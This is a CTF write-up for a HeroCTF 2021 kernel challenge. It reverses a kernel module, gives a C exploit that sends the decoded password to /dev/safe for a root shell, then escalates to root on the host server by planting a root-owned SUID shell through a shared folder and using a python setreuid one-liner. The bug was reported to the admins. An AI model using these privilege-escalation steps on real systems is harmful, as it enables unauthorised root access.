HeroCTF 2021 - Rooter l'infra, for fun and CTF points
Category : Kernel
Points : 175
Message from : Mom 23/04/21 22:00
Hey sweetie !
I placed a little gift for you in the living room.
It’s in a box that’s locked though.
The key’s in the safe, and this time I locked it with a password.
Love you ! xoxoPS : Happax seems to be back to normal.
Connection via ssh -p 4822 kern2@ai.heroctf.fr
, mot de passe kern2_tig
Format : Hero{}
Author : iHuggsy
Challenge informations
This Kernel exploit challenge (2nd in the series), uses a virtual machine based on QEMU. To access the challenge, you must connect via SSH to a server (which we will call hostserver
in the rest of this writeup), on which we find the challenge files:
[hostserver]$ ls -lah
total 9,9M
drwxrwxr-x 2 kern2 kern2 4,0K mai 2 12:33 .
drwxrwxr-x 3 kern2 kern2 4,0K mai 2 12:37 ..
-rwxrwxr-x 1 kern2 kern2 9,2M mai 2 12:33 bzImage
-rwxrwxr-x 1 kern2 kern2 673K mai 2 12:33 initramfs
-rwsrwxrwx 1 root root 16K mai 2 12:33 run
-rwxrwxr-x 1 kern2 kern2 667 mai 2 12:33 .run_vm
[hostserver]$
Once we are connected in SSH, we must launch the SUID ./run
wrapper, to start and access the challenge VM. When we start it, we get a terminal in the VM:
$ ./run
Welcome to the kernel challenge #1 !
---- Your share : host:/tmp/tmp.3HqGwGi8y5 -> guest:/mnt/share ----
- Use CTRL+Z to put qemu in the background
- Use CTRL+* to exit the VM (shutdown)
- If qemu is in the background, use the 'fg' command to return to the vm
** ** ****** ********** ********
/** /** **////**/////**/// /**/////
/** /** ***** ****** ****** ** // /** /**
/********** **///**//**//* **////**/** /** /*******
/**//////**/******* /** / /** /**/** /** /**////
/** /**/**//// /** /** /**//** ** /** /**
/** /**//******/*** //****** //****** /** /**
// // ////// /// ////// ////// // //
=============== Locked safe (by @iHuggsy) ===============
= Kernel Challenge #2 =
= This time, you have to open the safe ! =
=================================================================
/ $ ls
bin etc mnt root sbin
dev flag.txt proc safe_mod.ko sys
/ $
We can recover the safe_mod.ko
kernel module thanks to the shared folder between the VM and the host server.
Résolution du challenge Kernel 2
First of all, a little bit of reverse on the safe_mod.ko
kernel module is necessary to fully understand what it does. For that, I used IDA which decompiled the module without too much trouble, and I got this device_file_write
function:
void device_file_write.cold(void) {
char cVar1;
char cVar2;
long user_input;
size_t maxlen;
char * matched_index;
char * unaff_R12;
int index;
long in_GS_OFFSET;
index = 0;
user_input = _copy_from_user();
if (user_input == 0) {
while (index < strlen(v2)) {
v4 = (char * ) & user_input[index];
v5 = *v4;
if ( *v4 == 0xa || *v4 == 0x0) break;
if ((unsigned __int8)(v5 - 65) > 0x19u) {
v12 = v5;
v13 = v5 + 13;
v14 = v5 - 13;
if (v12 + 13 <= 122)
v14 = v13;
*v4 = v14;
} else {
v6 = v5 + 13;
v7 = v5 - 13;
if (v6 <= 90)
v7 = v6;
*v4 = v7;
}
index += 1;
}
matched_index = strstr(user_input, "OpenSesame");
if (matched_index != (char * ) 0x0) {
if ( * (long * )( & current_task + in_GS_OFFSET) == 0) {
printk( & DAT_00100348);
} else {
printk( & DAT_00100378, (ulong) * (uint * )( * (long * )( & current_task + in_GS_OFFSET) + 0x4e8));
user_input = prepare_creds();
if (user_input == 0) {
printk( & DAT_001003a8);
} else {
*(undefined4 * )(user_input + 0x14) = 0;
*(undefined4 * )(user_input + 4) = 0;
*(undefined4 * )(user_input + 0x18) = 0;
*(undefined4 * )(user_input + 8) = 0;
commit_creds(user_input);
}
}
}
kfree();
}
return;
}
In this function is a very interesting block, which modifies the password entered by the user, before comparing it to the value OpenSesame
:
while (index < strlen(v2)) {
v4 = (char * ) & user_input[index];
v5 = *v4;
if ( *v4 == 0xa || *v4 == 0x0) break;
if ((unsigned __int8)(v5 - 65) > 0x19u) {
v12 = v5;
v13 = v5 + 13;
v14 = v5 - 13;
if (v12 + 13 <= 122)
v14 = v13;
*v4 = v14;
} else {
v6 = v5 + 13;
v7 = v5 - 13;
if (v6 <= 90)
v7 = v6;
*v4 = v7;
}
index += 1;
}
matched_index = strstr(user_input, "OpenSesame");
Since we have pretty consistent decompiled code, it was pretty straightforward to reimplement this function in python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def transform(v2):
v2 = list(v2)
k = 0
while k < len(v2):
letter = v2[k]
if letter == 0xa:
break
if (letter - 65) > 0x19:
v13 = letter + 13
v14 = letter - 13
if (letter + 13) <= 122:
v2[k] = v13
else:
v2[k] = v14
else:
v6 = letter + 13
v7 = letter - 13
if (letter + 13) <= 90:
v2[k] = v6
else:
v2[k] = v7
k += 1
return bytes(v2)
if __name__ == '__main__':
target = b"OpenSesame"
inv_input = transform(target)
if transform(inv_input) == target:
print("[+] Function is involutive !")
print("[+] input should be : %s" % inv_input.decode('UTF-8'))
Lucky for us! The function is involutive (i.e. f(f(x)) == x
)! This means that we can simply calculate transform(b"OpenSesame")
to get the expected input to the function.
[+] Function is involutive !
[+] input should be : BcraFrfnzr
We now know the string to send to the kernel module via /dev/safe
to change the UID of our process to 0 (to change the process to root
). We will therefore write a C program to open /dev/safe
and send the password BcraFrfnzr
to the char device /dev/safe
:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
// gcc -static exploit.c -o exploit
int main(){
char ch;
FILE * fd;
fd = fopen("/dev/safe","rw+");
if(fd == NULL) {
fprintf(stdout, "fopen('/dev/safe') failed: %s\n", strerror(errno));
}
fputs("BcraFrfnzr\n",fd);
while((ch = fgetc(fd)) != EOF) printf("%c", ch);
fclose(fd);
printf("[+] Openning shell ...\n");
system("/bin/sh");
}
We put this file in the /tmp/tmp.3HqGwGi8y5
folder on the server hosting the VM, and we compile it with gcc -static exploit.c -o exploit
:
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 84K
drwxrwxrwx 2 kern2 kern2 4,0K mai 6 21:49 .
drwxrwxrwt 173 root root 76K mai 6 21:49 ..
[hostserver]:/tmp/tmp.3HqGwGi8y5$ nano exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$ gcc -static exploit.c -o exploit
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 952K
drwxrwxrwx 2 kern2 kern2 4,0K mai 6 21:50 .
drwxrwxrwt 173 root root 76K mai 6 21:50 ..
-rwxrwxr-x 1 kern2 kern2 862K mai 6 21:50 exploit
-rw-rw-r-- 1 kern2 kern2 463 mai 6 21:50 exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$
Then we go back to our VM, and we go to /mnt/share
to access our shared directory:
** ** ****** ********** ********
/** /** **////**/////**/// /**/////
/** /** ***** ****** ****** ** // /** /**
/********** **///**//**//* **////**/** /** /*******
/**//////**/******* /** / /** /**/** /** /**////
/** /**/**//// /** /** /**//** ** /** /**
/** /**//******/*** //****** //****** /** /**
// // ////// /// ////// ////// // //
=============== Locked safe (by @iHuggsy) ===============
= Kernel Challenge #2 =
= This time, you have to open the safe ! =
=================================================================
/ $ cd /mnt/share
/mnt/share $ ls -lha
total 872K
drwxrwxrwx 2 user 1000 4.0K May 6 19:50 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 1002 1002 861.4K May 6 19:50 exploit
-rw-rw-r-- 1 1002 1002 463 May 6 19:50 exploit.c
/mnt/share $
We launch the exploit and we become root
:
/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ./exploit
The safe is locked. Enter the password first.
[+] Openning shell ...
/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # cat /flag.txt
Hero{y0u_c4n_4ls0_Wr1t3_?!!}
/mnt/share #
And we can validate the challenge with the flag Hero{y0u_c4n_4ls0_Wr1t3_?!!}
! But … is that all we can do?
Privilege escalation on the host server
When I finished this kernel challenge (and became root
in the challenge’s VM), I was about to move on to another challenge when I noticed something very interesting inside the challenge VM:
/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ls -lha
total 872K
drwxrwxrwx 2 user 1000 4.0K May 6 19:50 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 1002 1002 861.4K May 6 19:50 exploit
-rw-rw-r-- 1 1002 1002 463 May 6 19:50 exploit.c
/mnt/share $
Do you see it too? Take a look at which user the exploit files belong to. The user 1002
, but there is no user with this id in the VM, so what’s going on?
In the configuration we are in, a folder is shared between the challenge VM and the host server. This folder allows players to deposit their exploits in a folder on the host server to easily transfer them to the challenge VM. It’s very useful for the challenge, but very dangerous as is. The fact that the user id 1002
appears in the challenge VM lets us think that the properties of the files (owners, groups, suid …) are kept through the shared folder. This means that if we change these properties in one of the two folders (/mnt/share
on the challenge VM or /tmp/tmp.3HqGwGi8y5
on the host server), they will be changed in both. For example, from the /tmp/tmp.3HqGwGi8y5
folder on the host server, we will copy the /bin/sh
binary to put it in the share. It therefore belongs to our current user on the host server, the user kern2
.
[hostserver]:/tmp/tmp.3HqGwGi8y5$ cp /bin/sh .
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 1,1M
drwxrwxrwx 2 root root 4,0K mai 6 22:09 .
drwxrwxrwt 173 root root 76K mai 6 22:09 ..
-rwxrwxr-x 1 kern2 kern2 862K mai 6 22:09 exploit
-rw-rw-r-- 1 kern2 kern2 463 mai 6 22:09 exploit.c
-rwxr-xr-x 1 kern2 kern2 127K mai 6 22:09 sh
[hostserver]:/tmp/tmp.3HqGwGi8y5$
In the /mnt/share
folder on the challenge VM, we will change the owner of the sh
file we just created to give it to root
(id = 0), and we will also place all the SUID bits at 1:
/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # ls -lha
total 1000K
drwxrwxrwx 2 0 0 4.0K May 6 20:09 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 user 1000 861.4K May 6 20:09 exploit
-rw-rw-r-- 1 user 1000 463 May 6 20:09 exploit.c
-rwxr-xr-x 1 user 1000 126.8K May 6 20:09 sh
/mnt/share # chown 0:0 ./sh && chmod 7777 ./sh
/mnt/share # ls -lha
total 1000K
drwxrwxrwx 2 0 0 4.0K May 6 20:09 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 user 1000 861.4K May 6 20:09 exploit
-rw-rw-r-- 1 user 1000 463 May 6 20:09 exploit.c
-rwsrwsrwt 1 0 0 126.8K May 6 20:09 sh
/mnt/share #
Now that everything is ready, we go back to our shared folder /tmp/tmp.3HqGwGi8y5
on the host server, and we launch our SUID shell:
[hostserver]:/tmp/tmp.uq8fcKEQPW$ ls -lha
total 1,1M
drwxrwxrwx 2 root root 4,0K mai 6 22:09 .
drwxrwxrwt 173 root root 76K mai 6 22:09 ..
-rwxrwxr-x 1 kern2 kern2 862K mai 6 22:09 exploit
-rw-rw-r-- 1 kern2 kern2 463 mai 6 22:09 exploit.c
-rwsrwsrwt 1 root root 127K mai 6 22:09 sh
[hostserver]:/tmp/tmp.uq8fcKEQPW$ ./sh -p
$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$
The rights are well passed, as we can see I have a shell with euid=0(root) egid=0(root)
. To perform more advanced actions without being limited, it is interesting to have a real shell with uid=0(root)
. To do this, we can use python to switch from a euid
to a uid
, thanks to this payload:
python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
I ran this payload, and then got a real root
shell:
$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$ python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
# id
uid=0(root) gid=0(root) groups=0(root)
I am now root
on the HeroCTF kernel challenges host server!
And this time, I’m the one who set the flag \o/, as a bonus I got 50 bonus points for reporting this vulnerability to admins: